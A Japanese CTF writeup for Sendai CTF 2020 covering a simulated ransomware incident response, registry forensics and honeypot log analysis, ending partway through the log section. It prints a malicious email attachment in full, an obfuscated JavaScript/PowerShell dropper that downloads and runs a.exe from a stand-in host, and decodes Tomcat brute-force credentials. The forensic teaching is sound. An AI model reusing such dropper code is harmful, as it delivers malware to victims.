fatsheep's memo.txt

気になったこと、試したこと、その他もろもろを書いていきます。

仙台CTF 2020 Writeup その1

f:id:fatsheep:20201122011814p:plain

11月21日に、毎年開催している仙台CTFに今年も参加させていただきました。

connpass.com

例年はオンサイトでの開催ですが、今年はもろもろの事情によりオンラインでの開催でした。
オンラインになってもそのクォリティーは変わらず、とても楽しめました。(&とても疲れました😅)
WriteupまでがCTF、ということで、解いた問題のWriteupを書いていこうと思います。

なお長くなってしまったので、記事は2つに分けました。その1ではフォレンジック関連のカテゴリをまとめています。後日、その2を公開しようと思います。


その2を公開しました。こちらになります。
fatsheep.hateblo.jp


注意

問題は後ほど一般公開されるようです。これから問題に挑戦する方はネタバレになりますので注意してください。

補足

もし内容に不備や不適切な部分がありましたら、コメントやTwitterのDMにてご意見いただければと思います。

また競技時間5時間という短時間の戦いだったので、正答まで端折ったり、さらに当てずっぽうみたいな部分もありますが、そのあたりは大目に見ていただけると幸いです。🙇‍♂️

オープンワールド カテゴリ

ある企業の社内ネットワーク上で複数のサーバや端末に感染が広がり、そのIR・フォレンジック解析を行うカテゴリでした。
ネットワーク構成は以下のような構成で、各サーバのログファイルや、設定ファイル、調査に必要なファイルなどが事前に配布されました。

f:id:fatsheep:20201121224835p:plain

1. 状況想定

・スズキさんからの電話連絡を受け、ファイルを暗号化してしまうマルウェアのことが頭に浮かびました。
・このマルウェアの一般的な名称は何でしょうか。

ファイルサーバにあるファイルがすべて壊れている、という連絡がインシデントの発端です。
ファイルを暗号化するマルウェアの可能性があり、そのようなマルウェアの一般名称を答える問題です。(半角英数10文字)

FLAG:ransomware

2. 暗号化された日時

・どうやらファイルサーバーのデータはランサムウェアにより暗号化されたようです。あなたは、ファイルサーバーから調査に必要なログファイル等のデータを抽出した後、ファイルサーバーをネットワークから隔離しました。
ランサムウェアに暗号化された範囲は、共有フォルダ(C:\Share)だけのようです。また、本事案のランサムウェアは、暗号化したファイルの拡張子は変更しないようです。
ランサムウェアが動作した時間を推測するため、暗号化されたファイルのうち、最も古い更新日時(Standard Information属性)を特定してください。

問題文ではMFTのSTD INFOを回答するようにあるので、パースして確認します。
※MFTはWindowsファイルシステムNTFS)で使われる、すべてのファイルを管理する特殊なファイルです。

パースはLinux(最近はもっぱらTsurugi Linuxを使っています)で、analyzeMFTというツールで行いました。

user1@trg:~/Server/FileServer
$ analyzeMFT.py -f \$MFT -o MFT.csv

問題文では、暗号化された対象のフォルダは「C:\Share」とあるので、grep、cutを駆使してファイルを探します。
(analyzeMFTの結果はCSV形式で出力され、8列目がファイルのフルパス、9~12列目がSTD INFOのタイムスタンプで、Creation date、Modification date、Access date、Entry dateを表します。)

user1@trg:~/Server/FileServer
$ cat MFT.csv | grep -i "\"/share" | cut -d',' -f8,9,10,11,12
"/Share/develop/test1.c","2020-11-15 02:01:43.531746","2020-11-15 05:18:40.600149","2020-11-15 02:01:43.531746","2020-11-15 05:18:40.600149"
"/Share/develop/test2.c","2020-11-15 02:01:43.531746","2020-11-15 05:18:40.600149","2020-11-15 02:01:43.531746","2020-11-15 05:18:40.600149"
"/Share/sales/db_customer.csv","2020-11-15 02:01:53.913841","2020-11-15 05:18:40.600149","2020-11-15 02:01:53.913841","2020-11-15 05:18:40.600149"
"/Share/sales/sales.xlsx","2020-11-15 02:01:53.929960","2020-11-15 05:18:40.600149","2020-11-15 02:01:53.929960","2020-11-15 05:18:40.600149"
"/Share/ransom.exe","2020-11-15 05:00:31.616423","2020-11-11 17:50:30","2020-11-15 05:00:31.616423","2020-11-15 03:48:36.214901"
"/Share/ransomnote.txt","2020-11-15 06:46:41.096230","2020-11-14 03:35:22","2020-11-15 06:46:41.096230","2020-11-15 03:48:36.199057"
(snip)

※上記のほか、「.tmp」や「.aux」など、直接関係しないファイルも見つかりましたが、ここでは割愛します。

上から4つのファイルが暗号化された対象ファイルと思われます。
4つのうち最初に暗号化されたもの(Modification dateが一番古いもの)を探し、さらにJSTに変換(9時間加算)したものを投入したところ、パスしました。

FLAG:2020/11/15-14:18:40

3. 不審な管理者権限

・ファイルサーバーの共有フォルダ(C:\Share)だけが暗号化されていることから、ファイルサーバーがランサムウェアに感染したのではなく、ランサムウェアに感染した社内パソコン等が共有フォルダにアクセスし、ファイルを暗号化した可能性があります。
・また、ランサムウェアは、営業部門用フォルダ(C:\Share\sales)および開発部門用フォルダ(C:\Share\develop)のいずれも暗号化しています。社員のアカウントは、どちらか片方の共有フォルダにしかアクセスできないはずなので、管理者権限が悪用された可能性があります。
・ファイルサーバーのイベントログを解析し、不審な管理者権限アカウントによるアクセスを探してください。

イベントログの解析はSplunkで行いました。(イベントログなどはさっとパースしてくれ、また検索速度も速くオススメです。)
管理者権限でのアクセス、とありますが、特にとっかかりも思いつかなかったので、とりあえずSecurity.evtxの中でどのようなアカウント・IPアドレスの組み合わせのログがあるか確認しました。
※イベントログの1つ、Security.evtxには、ログオン試行(成功・失敗、アクセス元・アクセス先、試行に使われたアカウントなど)が記録されています。

f:id:fatsheep:20201121210410p:plain

結果を上から眺めていると、「aaa」という不審なアカウントでの試行があり、このアカウント・IPアドレスの組み合わせを投入したところパスしました。

FLAG:aaa-172.16.100.113

4. ローカルデバイスとリソース

・開発用サーバーを調査したところ、「C:\work」フォルダに不審なプログラム「b.exe」が設置されていることを確認しました。(「C:\test」フォルダは、開発部門が設置したものであり、不審ではありません)
・先輩が不審なプログラムを解析したところ、遠隔操作に利用するハッキングツールの可能性があるとのことです。
レジストリを解析し、攻撃者が開発用サーバーをGUIで遠隔操作するために利用したWindows標準のプロトコル、および不審なプログラム「b.exe」を開発サーバーに持ち込んだ方法を推測してください。

問題文中でGUIでの遠隔操作ツール、とあり、またファイルのやり取りも可能なことから、RDPとあたりを付けました。
ただコピー元のパスは思い浮かばなかったので、レジストリを手当たり次第パースしてはgrepをし、を繰り返していたところ、SYSTEMハイブのAppCompatCacheで対象のパスを見つけることができました。

パースにはRegRipperを使い、オプションはそのハイブに関連するプラグインすべてを利用する-fオプションを利用しました。

user1@trg:~/Server/Develop/Windows/System32/config
$ rip.pl -f system -r SYSTEM > SYSTEM.txt 2>&1

上記結果を「b.exe」でgrepします。

user1@trg:~/Server/Develop/Windows/System32/config
$ cat SYSTEM.txt |grep -a b.exe
C:\work\b.exe  Sat Nov 14 03:10:09 2020 Z
\\tsclient\one\b.exe  Sat Nov 14 03:10:09 2020 Z
C:\work\b.exe  Sat Nov 14 03:10:09 2020 Z
\\tsclient\one\b.exe  Sat Nov 14 03:10:09 2020 Z
C:\work\b.exe  Sat Nov 14 03:10:09 2020 Z
\\tsclient\one\b.exe  Sat Nov 14 03:10:09 2020 Z

上記の結果の通り、RDP経由でのファイルのやり取り(実行?)を示す\\tsclient~があり、コピー元のパスを見つけることができました。(RDPもここ(tsclient)で証明できました。)

FLAG:RDP-\\tsclient\one\b.exe

5. Failed logon

・開発用サーバーの管理者アカウント「Administrator」は、弱いパスワードを設定していたため、攻撃者にパスワードを推測されたようです。
・イベントログを解析し、開発用サーバーに対する不審なログオン失敗回数および攻撃元IPアドレスを特定してください。
・なお、開発部門に確認したところ、社員用パソコンから、開発用サーバーにリモートログオンすることは無いそうです。

問題3と同様にSplunkで調査しました。
SPLは単純に「Administrator」と「失敗」でgrepをかけているだけです。

f:id:fatsheep:20201121220645p:plain

結果は画像の通りで、1種類のみだったので、これが答えでした。

FLAG:9-172.16.20.13

6. 初めてのRDP

・開発用サーバーに対して、初めて不審なRDPログオンが成功した日時を特定してください。
・なお、ここでは「LogonType10」によるログオン成功をRDPログオン成功とみなしてください。

問題文にはLogonType=10を探すように記載されているので、前問と同様にSplunkで調査します。

f:id:fatsheep:20201121221228p:plain

結果は4件あり、その中で一番最初の日時を答えたところパスしました。

FLAG:2020/11/15-12:44:23

7. 初期感染

・開発用サーバーにRDPログオンした「侵害された可能性がある社内パソコン」(以下、「調査対象パソコン」という)から、調査に必要なログファイルなどのデータを抽出し、フォレンジック調査したところ、感染原因の可能性がある不審なプログラムの起動が確認されました。
・調査対象パソコンの$MFTをタイムライン解析し、初期感染において作成・実行された可能性がある不審なプログラム(EXE)を発見してください。

問題5にてRDP接続した端末は「172.16.20.13」とわかったため、問題文に記載されている通り、この端末のMFTを調査します。
まずはMFTをパースします。

user1@trg:~/PC/PC03
$ analyzeMFT.py -f \$MFT -o MFT.csv

調査する観点はいろいろあるかと思いますが、今回は日付と、実行ファイルを示す「.exe」でgrepしてみました。
(RDPを行った日が「2020/11/15」なので、ファイル作成日時もこの日だろうとあたりを付けました。)

user1@trg:~/PC/PC03
$ cat MFT.csv | cut -d',' -f8,9 |grep "2020-11-15" | grep ".exe\""
"/Users/user03/AppData/Local/Temp/a.exe","2020-11-15 03:20:07.119152"
"/Users/user03/AppData/Local/Temp/default.exe","2020-11-15 03:56:02.470333"
"/Users/user03/AppData/Local/Microsoft/OneDrive/Update/OneDriveSetup.exe","2020-11-15 02:01:11.649000"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/FileCoAuth.exe","2020-11-15 02:01:10.680645"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/FileSyncConfig.exe","2020-11-15 02:01:10.712519"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/FileSyncHelper.exe","2020-11-15 02:01:10.727501"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/MicrosoftListSync.exe","2020-11-15 02:01:10.853195"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/MicrosoftListSyncNativeMessagingClient.exe","2020-11-15 02:01:10.868191"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/OneDrive.exe","2020-11-15 02:01:10.868191"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/OneDriveStandaloneUpdater.exe","2020-11-15 02:01:10.884119"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/OneDriveUpdaterService.exe","2020-11-15 02:01:10.961885"
"/Users/user03/AppData/Local/Microsoft/OneDrive/20.169.0823.0008/OneDriveSetup.exe","2020-11-15 02:01:11.649811"

最初の2つを不審なファイルとして見つけることができました。(非管理者権限でファイル作成できるパス「%TEMP%」にファイル作成しているため。)
このうち、1つ目のa.exeで正答しました。

FLAG:a.exe

8. 不審メール

・取引先である株式会社東北商社カンパニーから緊急連絡がありました。同社の社員Aのウェブメール不正アクセスがあり、何者かが社員Aのメールアカウントで不審メールを発信した可能性があるようです。
・調査対象パソコンがマルウェアに感染は、この不審メールが原因のようです。
・調査対象パソコンの利用者が受信したメールを調査し、株式会社東北商社カンパニーの社員Aに成りすました攻撃者が利用した可能性があるIPアドレスを特定してください。

調査対象のログにはDMZサーバがあり、このサーバがメールサーバとプロキシサーバを兼ねているようです。
今回攻撃を受けている端末は「172.16.20.13」なので、この端末の利用者のメールファイルを確認します。
DMZサーバ上にて、対象ユーザのMaildirの「cur」ディレクトリを見ると、2件のメールがでてきました。

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ ls
1605409412.Vfd00I309a971M466942.dmz-server.sendaictf.local:2,RS  1605410288.Vfd00I309a972M406524.dmz-server.sendaictf.local:2,S

上記のうち、2つ目のメールファイルのヘッダ部分が以下のようになっており、最初の転送元である端末のIPアドレスが未知のものであったため、このIPアドレスが攻撃者のIPアドレスということでした。(システム構成上にない端末のIPアドレス。)

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ cat 1605410288.Vfd00I309a972M406524.dmz-server.sendaictf.local\:2\,S
Return-Path: <taro@tohoku-company.local>
X-Original-To: user03@sendaictf.local
Delivered-To: user03@sendaictf.local
Received: from mail.tohoku-company.local (unknown [192.168.10.121])
        by mail.sendaictf.local (Postfix) with ESMTP id 61FAC207E111
        for <user03@sendaictf.local>; Sun, 15 Nov 2020 12:18:08 +0900 (JST)
Received: from debian (ichi.first.local [192.168.10.200])
        by mail.tohoku-company.local (Postfix) with ESMTP id 5B1EE2084750
        for <user03@sendaictf.local>; Sun, 15 Nov 2020 12:18:08 +0900 (JST)

FLAG:192.168.10.200

9. 不審スクリプト

・調査対象パソコンが受信した不審メールの添付ファイルを解析し、不審な通信先を特定してください。

メールファイルを確認すると、末尾に添付ファイルを示すBase64文字列があるので、これを変換しファイルに戻します。

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ cat attach.txt
UEsDBBQAAAAIAFMQbVGd5pXw6QIAAJQEAAAJAAAAkL+LgY+RLmpzdVTbbuIwEH1faf8hiiKFqm1a
oGpL0T4UCFDKrSTlUvXFcZzG1EmMYwjh69fjsNLuwyLh8Zw5M5kZj31AwngOuqEbfRm/jJWHBeXS
(snip)
bVGd5pXw6QIAAJQEAAAJACQAAAAAAAAAIAAAAAAAAACQv4uBj5EuanMKACAAAAAAAAEAGACgtFGf
FbnWAfJei20WudYBAJ3i2RS51gFQSwUGAAAAAAEAAQBbAAAAEAMAAAAA

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ cat attach.txt | base64 -d > attach

fileコマンドで確認するとZipファイルのようなので、unzipします。(Linux上で2バイト文字がうまく扱えないため、mvでファイルをリネームしています。)

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ file attach
attach: Zip archive data, at least v2.0 to extract

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ unzip attach
Archive:  attach
  inflating: ??????.js

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ mv *.js unknown.js

出てきたJSファイルを確認すると、ファイルをダウンロードし実行させるような内容になっています。

user1@trg:~/DMZ-Server/home/user03/Maildir/cur
$ cat unknown.js
var AbCdEfg = WScript.CreateObject("W4wt93qS4wt93qc4wt93qr4wt93qi4wt93qp4wt93qt4wt93q".replace(/4wt93q/g, "") + ".Sh" + "ell");

var paranum = 0;

codestr = "powershell.exe $cHPNC8 = 'XmqRLtY';$a = 'Msxml' + '2.XML' + 'HTTP';$D9Bkpiq = 'zwfnxFQn';$b = 'ADO' + 'DB.' + 'Stream';$ViXHtaa = 'afPaNR';$c = 'G' + 'E' + 'T';$y6Zs8i = 'y9Nhj';$d = 1 - 1 + 1;$arfRq = 'Zret8';$hr = New-Object -ComObject $a;$Xb9C3z = 'WipMlqo1';$ab = New-Object -ComObject $b;$OWNniyp3 = 'okFmlbcF';$path = $env:temp + '\\a.exe';$MeDUZLzU = 'ViEEyiDt';$hr.open($c, 'h'+'Tt'+'p:'             +'/'                   + '/'+ 'i'+ 'chi' + '.'+ 'f' + '' +'ir' + 'st' + '.lo' + 'cal' + '/'+'specification.pdf', 0);$BkmnIhm = 'lMglhJCD';$hr.send();$OlUroA = 'ovwJO';$Zb3f7RVj2 = 'AyWGheD';$EUKnRQ = 'eq9G6';$jMjfuyL = 't9tGnMuT';$ab.open();$PaLGhJEr = 'Cf9lVfd';$ab.type = $d;$qiEHJ = 'NjQsbW3';$ab.write($hr.responseBody);$Gwtjxiu1 = 'Zm4B6l';$ab.savetofile($path);$LwzToi = 'XIEOnwD';$ab.close();$LSbathIv = 'yzxeScO';$JHAFYpTN = 'W1tBds';$LawOS = 'YTYyJd';$GVNSY2VL3 = 'QEXcEk';$aj8q2Pl = 'BFrEKTl';$B3Xz2p = 'YWgPSR2Y';$yGEJla7O = 'lWqvE';Start-Process $path;";

AbCdEfg.Run(codestr, paranum);

この問題は通信先を答える問題のため、通信先っぽい文字列を探すと、3行目にhttp~~という文字を生成している部分を見つけられました。

FLAG:http://ichi.first.local/specification.pdf

10. zerologon

・ここまでの調査により、攻撃者が開発用サーバー(Develop)に不正ログオンするまでの経緯は把握できてきました。
・しかし、ファイルサーバーにアクセスするための管理者権限を取得した方法が分かりません。
また、開発用サーバーからファイルサーバーへのアクセスにあたり、存在しない管理者権限アカウントが利用されていたことに疑問を感じます。
・開発用サーバーのイベントログやレジストリを調査し、ドメイン管理者権限を取得するために利用した可能性があるツールを推測してください。
・なお、攻撃者は、開発用サーバーのあるフォルダに、同ツール利用時の操作履歴をテキストファイルで保存していたようです。

問題文にはイベントログやレジストリを調査する、また、今回は攻撃者がツール利用時の操作履歴をテキストファイルに保存している(ヒント!?)ということで、後者から調査していきました。
問題4の問題文より、攻撃者は開発用サーバのC:\workにて作業していた痕跡があるということで、このフォルダを確認するとdata.zipというファイルがあったので解凍します。

user1@trg:~/Server/Develop/work
$ ls
b.exe  data.zip

user1@trg:~/Server/Develop/work
$ unzip data.zip
Archive:  data.zip
  inflating: data/mimikatz.txt
  inflating: data/develop/test1.c
  inflating: data/develop/test2.c
  inflating: data/sales/db_customer.csv
  inflating: data/sales/sales.xlsx

中にはいくつかのドキュメントファイルと、「mimikatz.txt」というファイルがあり、アカウント奪取に関係しそうなこのファイルを見てみます。

user1@trg:~/Server/Develop/work
$ cat data/mimikatz.txt
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>cd \work\lateral\mimikatz\x64

C:\work\lateral\mimikatz\x64>mimikatz.exe
(snip)

中身はmimikatz.exeを実行した履歴でした。(管理者権限を付与したaaaというアカウントを作成しているようでした。)

※zerologonの補足 piyolog.hatenadiary.jp

FLAG:C:\work\lateral\mimikatz\x64\mimikatz.exe

11. 個人情報流出

・攻撃者から広報窓口に対して、業務情報を窃取したとの脅迫メールが届きました。
・脅迫メールには、業務情報を窃取した証拠として、ファイルサーバーに保管していた顧客情報の一部が添付されています。 ・攻撃者は、社内ネットワークに侵入し、業務情報などをZIP圧縮したうえで、インターネットのファイル共有サービス「Mega Uploader」(架空のサービス)にアップロードしたようです。
・次の二点を調査してください。
①攻撃者が作成した可能性があるZIPファイルに格納されてい る個人情報の件数
②「Mega Uploader」に何らかのデータが送信された可能性がある日時
[補足]
Mega UploaderのURL
http://www.mega-upload.local/

件数については問題10の圧縮ファイル(この圧縮ファイルが攻撃者により持っていかれたものと思われる)の中に「db_customer.csv」という個人情報を保存しているようなファイルがあるので確認します。(数が多かったので、ここではtailコマンドで確認。)

user1@trg:~/Server/Develop/work
$ tail -n 1 data/sales/db_customer.csv
5000,秋元 陽依,アキモト ヒヨリ,女,0760417861,930-0943,富山県,富山市,藤代町,4-9-10,藤代町パレス119,1998/06/05,22,熊本県,O

上記結果より、件数は5000件ということがわかりました。

次にアップロードされた日時です。
まずアップロードに使われたサービスは問題文より「www.mega-upload.local」というURLのサービスのようです。
DMZサーバのログにプロキシのログがあるので、確認してみます。

user1@trg:~/DMZ-Server/var/log/squid
$ ls
access.log
user1@trg:~/DMZ-Server/var/log/squid
$ cat access.log | grep www.mega-upload.local
Sun Nov 15 13:56:31 2020      4 172.16.100.113 TCP_MISS/200 642 GET http://www.mega-upload.local/uploader.php - HIER_DIRECT/192.168.10.201 text/html
Sun Nov 15 13:56:31 2020      0 172.16.100.113 TCP_MISS/404 626 GET http://www.mega-upload.local/favicon.ico - HIER_DIRECT/192.168.10.201 text/html
Sun Nov 15 13:57:33 2020      9 172.16.100.113 TCP_MISS/200 658 POST http://www.mega-upload.local/uploader.php - HIER_DIRECT/192.168.10.201 text/html
Sun Nov 15 13:57:33 2020      7 172.16.100.113 TCP_MISS/404 626 GET http://www.mega-upload.local/favicon.ico - HIER_DIRECT/192.168.10.201 text/html

上記の通り4つの通信ログがあり、そのうちPOSTメソッドの日時がアップロードされた日時とわかります。(データ送信したのであればPOSTだろう・・ということで。)

FLAG:5000-2020/11/15-13:57:33

12. 暗号化解除

・フラグを記載したテキストファイル(問題ファイル)が、本事案のランサムウェアにより暗号化されてしまいました。
・問題ファイルの暗号を解除してください。

最初、プログラム自体はあるので動的解析・静的解析しようかと思っていたのですが、暗号化されたファイルを確認するとサイズがかなり小さいため何となくXOR・・・?と思い、CyberchefのXOR Bruteforceにあててみたところビンゴでした。

f:id:fatsheep:20201121234134p:plain

ただそのままでは通らなかったので、フラグフォーマット例(「例:sendaictf{abcdefg}」と記載あり)に従い、大文字↔小文字変換、「[]」→「{}」置き換え、Null文字→半角スペース置き換えしたところパスしました。
(フラグフォーマット例がなかったらおそらく正答には行きつきませんでした・・😅)

FLAG:sendaictf{Simple XOR cipher}

※Cyberchef:簡単な文字変換から、ハッシュ化、暗号化・復号など、さまざまな変換ができるので大変オススメです。
gchq.github.io

Forensics カテゴリ

Windowsの設定ファイル(レジストリ、MFT)が提供されるので、それらを解析するカテゴリでした。

1. 解析対象の確認

・解析対象の確認のために、コンピュータ名とOSのインストール日時を解析してください。
・OSのインストール日時は、JSTに変換して提出してください。

解析にはEric Zimmerman氏作成・公開のRegistry Explorerを利用しました。
オープンワールドカテゴリではRegRipperを使いましたが、今回はRegistry Explorerを使っており、場合によって使い分けています。何となくの使い分けですが、レジストリ全体を調査(=パース&grep)するときはRegRipperを、ある特定のキー・バリューを調査するときはRegistry Explorerを、という感じです。)

※Eric Zimmerman's Tools:さまざまなバイナリファイルのパーサツール、解析用ツールがあり、どれも使いやすくオススメです。
ericzimmerman.github.io

※最新版のRegistry Explorerレジストリファイルを開こうとすると警告が出たので、「いいえ」→「はい」で回避しました。

Registry Explorerの優れている機能(私がよく使う機能)で、Available bookmarksというものがあります。
これはレジストリフォレンジック解析でよく確認するキーをあらかじめ登録し解析作業をしやすくする機能で、最初からいくつか登録されています。

コンピュータ名はSYSTEMハイブにありました。
(実際は、Key: ControlSet001\Control\ComputerName\ComputerName、Value: ComputerName。)

f:id:fatsheep:20201122001946p:plain

またOSインストール日時はSOFTWAREハイブにありました。
(実際は、Key: Microsoft\Windows NT\CurrentVersion、Value: InstallDate。)
※「CurrentVersion」は上記キーのほかに「Microsoft\Windows 」以下にもあるので注意。これで何分か失いました・・。

f:id:fatsheep:20201122002328p:plain

ただこのデータはUnixタイムなので、以下のサイトで変換しました。

keisan.casio.jp

f:id:fatsheep:20201122002826p:plain

FLAG:CHICKENSTEAK_2020/09/15 02:04:25

2. 怪しいファイル

・利用していたデータファイル「chick.txt」の中で、一番最後に加工されたファイルが怪しいようです。
・「$Standard Informationの更新日時」が最も新しい「chick.txt」のMFT Entry Numberと、その「chick.txt」のフルパスを特定してください。

問題文より、更新日時はSTD INFOのModification dateを確認すればよい旨が記載されていました。
いつも通り、MFTをパースし、ファイル名でgrepしてみます。(MFT.csvの1列目がMFT Entry Number、8列目がファイルのフルパス、10列目がSTD INFOの更新日時です。)

user1@trg:~/for2
$ analyzeMFT.py -f \$MFT -o MFT.csv

user1@trg:~/for2
$ cat MFT.csv | cut -d',' -f1,8,10 | grep "/chick.txt\""
"21830","/Users/Hiyoko/Documents/chicken/chick1/chick.txt","2020-11-13 02:12:24.699944"
"57393","/Users/Suzume/Documents/chicken/piyo_1/chick.txt","2020-11-10 09:20:53.846416"
"273774","/Users/Niwatori/Desktop/test/chick.txt","2020-11-12 08:25:50.558357"
"287856","/Users/Suzume/Documents/memo/chick.txt","2020-11-16 03:20:37.293671"
"290151","/Users/Suzume/Documents/chicken/piyo_2/chick.txt","2020-11-17 10:36:02.937500"
"292923","/Users/Suzume/Documents/suzu/chick.txt","2020-11-17 01:28:16.108049"
"293073","/Users/Suzume/Documents/chicken/tori_1/chick.txt","2020-11-16 07:47:47.124977"
"293101","/Users/Suzume/Documents/chicken/tori_2/chick.txt","2020-11-16 09:41:21.747906"
"372000","/Users/Suzume/Desktop/udon/chick.txt","2020-11-11 07:50:02.182325"
"445092","/Users/Niwatori/Documents/chicken/koke1/chick.txt","2020-11-12 02:17:37.125072"
"446661","/Users/Suzume/Desktop/test_chick/chick.txt","2020-11-17 03:49:41.482496"
"447165","/Users/Niwatori/Documents/chicken/koke2/chick.txt","2020-11-12 07:48:36.505102"
"454245","/Users/Hiyoko/Documents/chicken/chick2/chick.txt","2020-11-13 03:48:28.820480"
"454417","/Users/Hiyoko/Desktop/soba/chick.txt","2020-11-13 08:29:51.742510"

いくつか見つかったので、更新日時(上記結果の3列目)で降順ソートをかけてみます。

user1@trg:~/for2
$ cat MFT.csv | cut -d',' -f1,8,10 | grep "/chick.txt\"" | sort -r -t ',' -k 3,3
"290151","/Users/Suzume/Documents/chicken/piyo_2/chick.txt","2020-11-17 10:36:02.937500"
"446661","/Users/Suzume/Desktop/test_chick/chick.txt","2020-11-17 03:49:41.482496"
"292923","/Users/Suzume/Documents/suzu/chick.txt","2020-11-17 01:28:16.108049"
"293101","/Users/Suzume/Documents/chicken/tori_2/chick.txt","2020-11-16 09:41:21.747906"
"293073","/Users/Suzume/Documents/chicken/tori_1/chick.txt","2020-11-16 07:47:47.124977"
"287856","/Users/Suzume/Documents/memo/chick.txt","2020-11-16 03:20:37.293671"
"454417","/Users/Hiyoko/Desktop/soba/chick.txt","2020-11-13 08:29:51.742510"
"454245","/Users/Hiyoko/Documents/chicken/chick2/chick.txt","2020-11-13 03:48:28.820480"
"21830","/Users/Hiyoko/Documents/chicken/chick1/chick.txt","2020-11-13 02:12:24.699944"
"273774","/Users/Niwatori/Desktop/test/chick.txt","2020-11-12 08:25:50.558357"
"447165","/Users/Niwatori/Documents/chicken/koke2/chick.txt","2020-11-12 07:48:36.505102"
"445092","/Users/Niwatori/Documents/chicken/koke1/chick.txt","2020-11-12 02:17:37.125072"
"372000","/Users/Suzume/Desktop/udon/chick.txt","2020-11-11 07:50:02.182325"
"57393","/Users/Suzume/Documents/chicken/piyo_1/chick.txt","2020-11-10 09:20:53.846416"

上記結果の1つ目が探しているファイルでした。

FLAG:290151_C:\Users\Suzume\Documents\chicken\piyo_2\chick.txt

ログ分析 カテゴリ

ハニーポットのログが提供され、それを解析するカテゴリでした。以前私がやってたやつ!
ハニポのログ解析や、今回解いた手順のような、いわゆるシェル芸(と呼んでいいものか??)は結構好きなのですが、時間がなくとても焦っているときは逆にあまりやりたくないと、今日改めて思いました。😅(焦って途中でミスし、さらに焦る・・という負のスパイラルに陥る。)

1. 偵察

・ログファイルから /manager/html への偵察行為の対象となるアプリケーション名を調べてください。

「/manager/html 」でググるとすぐに出てきました。

FLAG:tomcat

2. 大量アクセス

・ログファイルから2020/05/07の /manager/html へのアクセス件数を調べてください。

Linuxのコマンドで行いました。

user1@trg:~
$ cat access_log | grep 2020-05-07 | grep /manager/html | wc -l
7066

FLAG:7066

3. パスワード試行

・ログファイル中の2020/05/07の /manager/html へのアクセスで、一番多く試行されたパスワードを調べ、その試行回数を答えてください。

ログに残されているリクエスト内容はBase64変換されているので、まずは中身を見てみます。

user1@trg:~
$ echo R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQKQXV0aG9yaXphdGlvbjogQmFzaWMgWVdSdGFXNDZjWGRsY25SNU1USXpORFUyCkhvc3Q6IDE1My4xMjYuMTgyLjEzNDo4MDgwCgo= | base64 -d
GET /manager/html HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46cXdlcnR5MTIzNDU2
Host: 153.126.182.134:8080

Basic認証の部分をさらにBase64逆変換します。

user1@trg:~
$ echo YWRtaW46cXdlcnR5MTIzNDU2 | base64 -d
admin:qwerty123456

ここまででようやくログイン試行に使われたパスワード(、ユーザ名)が出てきました。
パスワードの件数カウントまで、以下の手順で行いました。

1.ログからBase64部分抜き出し
2020/05/07の「/manager/html」へのアクセスのログのうち、Base64変換された文字列のみ、別ファイルに書き出します。

user1@trg:~
$ cat access_log | grep 2020-05-07 | grep /manager/html | cut -d' ' -f10 > temp1

user1@trg:~
$ head -n 5 temp1
R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQ29ubmVjdGlvbjogY2xvc2UKQXV0aG9yaXphdGlvbjogQmFzaWMgZEc5dFkyRjBPbkp2YkdVeApVc2VyLUFnZW50OiBKYXZhLzEuOC4wXzEzMQpIb3N0OiAxNTMuMTI2LjE4Mi4xMzQ6ODA4MApBY2NlcHQ6IHRleHQvaHRtbCwgaW1hZ2UvZ2lmLCBpbWFnZS9qcGVnLCAqOyBxPS4yLCAqLyo7IHE9LjIKCg==
R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQ29ubmVjdGlvbjogY2xvc2UKQXV0aG9yaXphdGlvbjogQmFzaWMgZEc5dFkyRjBPbkJzZFhSdgpVc2VyLUFnZW50OiBKYXZhLzEuOC4wXzEzMQpIb3N0OiAxNTMuMTI2LjE4Mi4xMzQ6ODA4MApBY2NlcHQ6IHRleHQvaHRtbCwgaW1hZ2UvZ2lmLCBpbWFnZS9qcGVnLCAqOyBxPS4yLCAqLyo7IHE9LjIKCg==
R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQ29ubmVjdGlvbjogY2xvc2UKQXV0aG9yaXphdGlvbjogQmFzaWMgZEc5dFkyRjBPbUp2ZEdnPQpVc2VyLUFnZW50OiBKYXZhLzEuOC4wXzEzMQpIb3N0OiAxNTMuMTI2LjE4Mi4xMzQ6ODA4MApBY2NlcHQ6IHRleHQvaHRtbCwgaW1hZ2UvZ2lmLCBpbWFnZS9qcGVnLCAqOyBxPS4yLCAqLyo7IHE9LjIKCg==
R0VUIC9tYW5hZ2VyL2h0bWwgSFRUUC8xLjEKQ29ubmVjdGlvbjogY2xvc2UKQXV0aG9yaXphdGlvbjogQmFzaWMgZEc5dFkyRjBPblJsYzNRPQpVc2VyLUFnZW50OiBKYXZhLzEuOC4wXzEzMQpIb3N0OiAxNTMuMTI2LjE4Mi4xMzQ6ODA4MApBY2NlcHQ6IHRleHQvaHRtbCwgaW1hZ2UvZ2lmLCBpbWFnZS9qcGVnLCAqOyBxPS4yLCAqLyo7IHE9LjIKCg==
